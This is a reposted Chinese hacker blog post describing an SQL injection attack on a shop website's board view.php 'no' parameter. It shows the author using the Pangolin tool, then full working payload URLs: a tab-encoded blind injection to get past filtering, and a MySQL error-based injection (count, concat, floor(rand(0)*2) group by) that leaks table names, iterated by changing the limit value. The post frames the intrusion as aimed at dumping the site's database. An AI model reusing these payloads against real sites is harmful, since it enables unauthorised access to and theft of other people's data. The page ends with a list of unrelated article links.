当前位置: 首页 > news >正文

修改limit的值进行注入

话说某脱裤的黑客被一个注入点弄得蛋疼了,详情请见 http://t00ls.net/thread-14032-1-1.html。 在t00ls发了个帖子,对于这些过滤啥,防火墙啥的,小菜我不懂啊,咱准备等其他黑客回答,然后学习学习,突然我帖子里看到精逼两个字,小菜我眼睛都直了,于是不自量力来折腾折腾.
话说咱菜啊,咱碰到注入点没啥办法,咱能力不行,咱就用工具,正如某岛国爱情动作片里一下,拿起工具,干之,于是就掏出了穿山甲,看看是否能射进去。咱用起穿山甲,咱就sb了,明明是个点,啥都跑不出来哇。

2011051201073628.jpg

咱思考思考。稍微手工了一下,咱就明白了

2011051201081863.jpg

2011051201085288.jpg

这就明白了吧  换季的时候皮肤管理这就是关键字, 于是我在穿山甲的关键字中填写,得出了一些信息, linux的服务器,mysql,等等,可惜在跑表的时候又蛋疼了!发现跑出的表残缺不全。

2011051201095524.jpg

可总能跑出点东西,于是我就抓了一下包,参考一下穿山甲的注入语句,以换季的时候皮肤管理关键字进行判断进行盲住!

http://xx.com/shop/board/view.php?id=pnotes&no=33%09and%09(select%09char_length(table_name)%09from%09(select%09*%09from%09(select%09*%09from%09information_schema.tables%09where%09table_schema=0x706f6975323538305f676f646f5f636e%09order%09by%09table_schema%09limit%0941,1)%09t%09order%09by%09table_schema%09desc)t%09limit%091)%3E8%09and%091=1
咱就准备一个个的猜,直到猜出表。可咱就想,这累啊,咱写个文章用着笨办法该不会被吐司的黑客踩死啊,咱就蹦跶蹦跶的被关进小黑屋了,咱就问黑客,询牛人,查手册,翻资料,构造了一条语句,终于才偶的大牛朋友 jsbug的博客里找到了一条语句!http://hi.baidu.com/jsbug/blog/item/4602a12c329165351e308943.html  这条语句可以使mysql报错,于是我构造了一下
http://xx.com/shop/board/view.php?id=pnotes&no=33%20and(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20distinct%20concat(0x7e,0x27,Hex(cast(table_name%20as%20char)),0x27,0x7e)%20FROM%20information_schema.tables%20Where%20table_schema=0x706F6975323538305F676F646F5F636E%20limit%201,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20and%201=1

通过报错得到了key,也就是表。'67645F62645F6D656574696E67'~1': key 'group_key' ,通过解密得到正确的表名。

2011051201104877.jpg

修改limit的值,就得到所有的表

2011051201114782.jpg

转载于:https://www.cnblogs.com/mujj/articles/2043924.html

相关文章:

  • DB4O激活查询深度,超过5层
  • 竞争对手研究——关键词研究
  • 每天checklist所用到的T-CODE...
  • 【ASP.net文档】用C#实现HTTP协议下的多线程文件传输
  • 2010应用年:SOA是非中走向成熟
  • sql索引
  • 午夜搬运工
  • 学会批处理,用心学很容易!
  • Oracle数据恢复:格式化、ASM及字典损坏案例三则
  • 如何让Visual Studio 2010支持HTML5和CSS3
  • 关于浮点数的小常识
  • 某店铺收银系统开发过程中出现的几点问题
  • phpmyadmin修改密码后无法登录,怎办? ZT
  • 动态 MMap 没有空间了。请增大APT::Cache-Limit 的大小
  • 推荐程序员看的书
  • 【译】JS基础算法脚本:字符串结尾
  • 【译】React性能工程(下) -- 深入研究React性能调试
  • 【跃迁之路】【669天】程序员高效学习方法论探索系列(实验阶段426-2018.12.13)...
  • Idea+maven+scala构建包并在spark on yarn 运行
  • Intervention/image 图片处理扩展包的安装和使用
  • java第三方包学习之lombok
  • Java基本数据类型之Number
  • Java-详解HashMap
  • scala基础语法(二)
  • Spring Cloud中负载均衡器概览
  • Vue 重置组件到初始状态
  • 阿里云容器服务区块链解决方案全新升级 支持Hyperledger Fabric v1.1
  • 成为一名优秀的Developer的书单
  • 从@property说起(二)当我们写下@property (nonatomic, weak) id obj时,我们究竟写了什么...
  • 等保2.0 | 几维安全发布等保检测、等保加固专版 加速企业等保合规
  • 后端_ThinkPHP5
  • 简单基于spring的redis配置(单机和集群模式)
  • nb
  • 如何在 Intellij IDEA 更高效地将应用部署到容器服务 Kubernetes ...
  • ​Linux Ubuntu环境下使用docker构建spark运行环境(超级详细)
  • ​软考-高级-系统架构设计师教程(清华第2版)【第15章 面向服务架构设计理论与实践(P527~554)-思维导图】​
  • ​一、什么是射频识别?二、射频识别系统组成及工作原理三、射频识别系统分类四、RFID与物联网​
  • ###项目技术发展史
  • #13 yum、编译安装与sed命令的使用
  • $(selector).each()和$.each()的区别
  • (windows2012共享文件夹和防火墙设置
  • (ZT)出版业改革:该死的死,该生的生
  • (分布式缓存)Redis哨兵
  • (三)Honghu Cloud云架构一定时调度平台
  • (三分钟了解debug)SLAM研究方向-Debug总结
  • (原創) 是否该学PetShop将Model和BLL分开? (.NET) (N-Tier) (PetShop) (OO)
  • .bat批处理(六):替换字符串中匹配的子串
  • .NET 4.0网络开发入门之旅-- 我在“网” 中央(下)
  • .NET Core WebAPI中使用swagger版本控制,添加注释
  • .NET Micro Framework初体验(二)
  • .NET/C# 使用反射注册事件
  • .Net6 Api Swagger配置
  • [ vulhub漏洞复现篇 ] ECShop 2.x / 3.x SQL注入/远程执行代码漏洞 xianzhi-2017-02-82239600
  • [] 与 [[]], -gt 与 > 的比较
  • [<死锁专题>]